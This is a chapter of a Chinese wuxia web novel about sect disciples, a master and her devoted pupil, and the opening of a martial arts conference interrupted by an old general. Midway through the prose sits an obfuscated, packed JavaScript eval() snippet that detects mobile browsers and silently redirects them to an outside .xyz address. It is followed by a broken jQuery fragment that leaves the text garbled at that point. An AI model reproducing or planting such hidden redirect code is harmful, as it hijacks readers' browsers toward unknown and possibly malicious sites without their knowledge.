“陶师兄,林师兄他们来了。”
“怎么现在就来了?”陶信讶然,他还在理要带过去的伤药,人竟然就到了。
那名弟子道:“陶师兄,要不要请他们进来先坐一会?”
陶信点头,道:“请他们进来,我去禀告师父,你再去催一催盛师妹,叫她们快些收拾。”
陶信匆匆赶到章善那边,同他说了这事。
一听是林钧等人来了,章善叫来服侍的弟子,吩咐道:“去请你林师兄,让他去叫一下你盛师姐,让他们两个都到这来。”
那名弟子去了,林钧一听是让他去找盛元冉,欣然同意。
他熟门熟路跟着那名弟子到了盛元冉的居所,然后吃了个闭门羹。
那名弟子只送他到门口,早就离开了。
林钧站在门口,好声好气让盛元冉开门。
屋内不时响起动静,但门却一直是关着的,好似没听见外面人的话。
这处小院住的都是飞星派的弟子,众人也不是第一次见到这副场景了。
自盛师妹回来之后,林钧就登门拜访了,也不知到底用的什么理由,连续几天过来都被章长老好好接待,还专门叫人把他送到盛师妹这来。
虽然看得多,还是有好热闹的弟子,路过时总忍不住状似无意地瞥过去一眼。
有时不幸和林钧对上视线,但对方只是好脾性地笑笑,并未对此说什么,众人不免对他印象好了一些。
一名弟子路过,见他又被无视难免有些气愤。
林钧在江湖上小有名气,算是他们年轻一辈中的佼佼者了。他本就对林钧有几分好感,后面两派取消联姻时也觉得可惜,认为盛元冉有些不知好歹。
在林钧上门这几天里,他也专门过来和林钧搭过话。
对着他一个普普通通的飞星派弟子,林钧都是面带笑意,聊得有来有往。
那人对林钧印象更好,只觉盛元冉实在是太过分了。
因为她不愿意,师门都退步了!林钧一个名声在外的少侠被退亲后也没多说什么,现在只是上门拜访几次,盛元冉竟一点面子都不给!
那人气势汹汹过来,林钧正想开口,就见他“砰砰砰”地敲着门。
“开门!快开门!”他毫不客气地喊。
很快,门被打开,里面站着一名女子,窄袖劲装,笑意盈盈。
白榆道:“这位师兄,你……”
话未尽,那名弟子就推搡着进去,林钧跟上,在他后面劝:“师兄,何必如此,你还是快回来,不要惹盛妹妹不快。盛妹妹,你千万不要怪……”
“罪”字还没说完,林钧就发现屋里没有别人,一时卡在了那里。
那名弟子先他一步回神,冲到院中问责白榆:“盛师妹呢?怎么只有你在!”
白榆摊手:“我方才正要说呢,谁知道师兄你那么急,只好让你亲眼看看了。”
“不要废话,我问你盛师妹在哪?是不是你撺掇盛师妹跑出去的!”
白榆:“师兄,稍安勿躁,小盛只是去见她师父了,难道他们师徒见一见都不可以吗?”
那名弟子半信半疑,被林钧劝住,二人一齐往章善那边去。
白榆慢吞吞把门关上,走到路上时被身后的人撞了一下。
“对不住,姑娘,是小人没注意。”是一个样貌十足普通的杂役。
白榆没心情和他演,直截了当道:“曲班主,你回来干吗?难不成是放心小盛待在她师父身边了?”
这段时间,曲星河一直在后厨扮演帮工,时不时借着送饭的名义路过盛元冉屋子。
今晨送早饭时听到盛元冉和白榆说要主动去找师父,就在盛元冉出门时提着食盒,说要把早饭送过去那边,二人一齐走的。
曲星河面上还是对不起的模样,道:“东西送完了,我也没法多待。”
说到这,他不满道:“你还在这干嘛?不怕元冉被人诓了?”
“这就去,这就去。”白榆一边说一边慢悠悠往那边走。
曲星河看着气不顺,干脆不看,往另一边走了。
武林大会要开始了,他还得抓紧时间重新化张脸才能过去。
*
“秋平,你往脸上涂了什么玩意?”于老吹胡子瞪眼,显然是对简秋平这身装扮很是不满。
他今日穿了件极艳的红衣,外面套一身轻飘飘的白色外裳,头发倒是束起了,用的却是玉冠,刀把倒是没了装饰,刀鞘却是更花里胡哨了,在清晨的日光照耀下,整张脸都好似在发光。
简秋平辩白:“师叔,我可没涂什么,不信您上手试试。”
于老半信半疑狠狠揪了一把,并无感受到什么,嘟嘟囔囔道:“还真是。”
简秋平听见这句耳语,也顾不得吃痛了,卖好道:“前几日风姑娘送我一小罐珍珠粉,说是能美容养颜,我涂了几日,脸都白了许多。”
于老嗤道:“整日倒弄这些,我看武林大会后你也别跟我回碧霞帮了,我给锦绣坊坊主去一封信,请她收下你。”
“别啊,师叔,”简秋平哀求,“我把那罐送你,风姑娘说了,它也有抗老的功效。”
“去去去,我才懒得弄这些,你留着自己用吧。”于老一把推开他,视线一转,正巧看见薛明辉他们正往这边来,他又把简秋平叫回来。
“师叔,你改主意了?”
“滚一边去,不,把小薛他们请过来再滚。”
“哦。”
薛明辉等人来了。
两边问好过后,简秋平插嘴道:“师叔,我这就滚了。”
于老瞪圆眼睛,作势要踹他,简秋平已经溜到另一边了。
“让你们看笑话了。”于老苦笑一声。
这话着实难接。
说没有,再劝劝,容易显得隔岸观火,说是?那更不可能!
众人一时没接话,好在于老转了话头。
他道:“怎么不见小白?”
小盛他是知道的,被她师父带回去了,应该会跟着飞星派的人一起过来,可是白榆呢?白榆怎么没跟他们一块?
“她和小盛在一块。”薛明辉道。
于老点点头,心想应该是白榆不放心小盛一个人过去,不过她还是想太多了
章善此人,于老也是和他打过几次交道的,虽然迂腐了些,可能会因为小盛不听管教生气,但小盛毕竟是他徒弟,他并不会做什么。
现下各派在陆陆续续进场,一刻钟后,终于看见了飞星派人的影子。
飞星派的位置和吹雪派紧邻,离碧霞帮有些远。
于老让人去把小盛和白榆叫过来。
才只远远看见一个影子,旁边忽然就刮过一阵风。
“起风了?”薛明辉还在状况外,经伏玉提醒才知道是竺晏出去了。
薛明辉半是不解半是努力共情地道:“之前都没看出来,竺晏原来是个急性子啊。”
说着,他哈哈笑了两声。
无人接话,笑声有些尴尬,他鼓着脸看江崇。
快说点什么!随便说什么!挖苦也可以啊!
须臾,江崇轻笑一声,道:“确实是起风了。”说话时,他视线一直落在远处。
薛明辉抬手,没感受到一丝一毫的风,心中还在想是不是江崇这几天忙糊涂了,发丝就被吹到脸上。
起风了。
*
“师父,你头发乱了。”
白榆和竺晏大眼瞪小眼有一会了,盛元冉和来叫他们的碧霞帮弟子都快要走到了,她可算是等到竺晏说话了。
头发乱了?
说的什么废话,起风了头发乱不是很正常。
本来看见竺晏过来时白榆心里有些慌,她可还没忘记离开起自家徒弟生气了,还在想要怎么缓和,就听了这么一句毫无用处的话。
白榆随手把飞到前面的散发捋到耳后,毫不在意道:“没事,今日梳头时比较急,随便了些。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16297335|172373||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“师父,你每次自己梳头都很随便。”竺晏毫不留情揭穿真相。
白榆一噎,庆幸想到还好江湖各派现在都在定好的位置上坐好了,也没人从这过,不然她的一世英名可就要毁了。
“乱说什么,只是今日而已。”白榆试图留住一丝面子。
竺晏垂眸,好似并不信她的话。
“你信我,真的只是今天随意了点。”
“嗯,”良久,竺晏才应了一声,道,“师父,没关系,我梳头的手艺很好的,日后我给你梳。”
白榆皱眉,隐约觉得有哪里不太对。
“师父,你又要拒绝我吗。”
白榆一愣,竺晏抬眼,眼中星星点点,眼尾泛红,看上去好不可怜。
他低声控诉:“你总是说话哄我,每次说好的都不认,是讨厌我吗?现在我只是想给你梳头,尽一份心意,你都不愿意吗?”
“没有没有,没有讨厌你,你怎么会这么想?我怎么可能讨厌你呢?”白榆手忙脚乱地安慰,不停拍拍摸摸。
好一会,竺晏情绪总算平静下来,白榆顿时松了口气,同时反复思索,她到底什么出尔反尔了?
明明只有上次说要带着他,结果没带上这一次而已?莫非自己忘了?
可她还年轻啊!是下一秒没了都会被感叹一句英年早逝的程度?不可能年纪轻轻就老糊涂了吧!
白榆百思不得其解,恰在此时武林盟主已经登上高台,她暂且把思绪扔到一边,拉着竺晏往于老他们那边去。
竺晏眸光一闪,紧接着跟上白榆,和她并肩而行。
*
武林盟主柳文渊,今年也到了知天命的年纪了。
做了近二十年的武林盟主,他早已对江湖上各项事务了然于心,哪怕是十年一次的武林大会,也是第二次主持了。
他站在高台上,照旧说了一通话,感怀过去,期待未来。
一番慷慨陈词后,柳文渊宣布武林大会正式开始。
话毕,一声喝彩传播演武场内外。
“说得好!”声若洪钟,中气十足。
众人纷纷侧目,只见演武场门口有一列士兵,为首者亦着甲胄,鬓发皆白,精神矍铄。
旁边还有几位正气盟弟子,个个向高台上的柳文渊抱拳。他们尽力了,可对方人多势众,又是朝廷的人,实在拦不住。
柳文渊面色一瞬也没有变过,笑容满面地叫自己弟子过去请人上来。
离得近了,众人也看清了那人面容。
“庞老将军?”薛明辉愕然。
庞将军全名庞岱,年轻时一直驻守边关,薛明辉离家那年他才从边关回来。
在他驻守的边关的几十年间,无人敢犯,前去边境探访的官员回来后对先帝道:“民甘其食、美其服、甘其居,藏弓息鼓,国之幸也。”
先帝大喜,特令其回京受赏。
庞将军自陈一切俱为臣子本分,不敢居功,再三推辞。
直到七年前,庞将军年岁上来,身子渐渐不行了,才从边关回京,先帝赐金赏物、封侯爵。
只是庞将军被人叫将军惯了,京中人也更适应这个称呼,便一直唤他一声将军,哪怕他如今并不是将军。
“庞老将军怎么会来这?”这个时间,他应该在京都才对。
薛明辉去看江崇,见他神色凝重,不敢乱问。
转眼间庞老将军已经到了高台,除身后跟着两人外带来的其他士兵都在高台下静站。
碧霞帮位置离高台处很近,中间只隔了个六壬宗,眼力好点的都能看清上面情况。
薛明辉此地无银三百两地转过身去,生怕被庞岱发现他在这里。
京中人都以为他去封地了,要是被人发现他在这,参上一笔,就算在位的是他亲弟弟,也免不了麻烦。
高台上,柳文渊注意到庞岱视线在碧霞帮处多停了一息,心中暗暗记下此事,笑着问道:“庞将军特意来此,可是想一观我武林盛事?”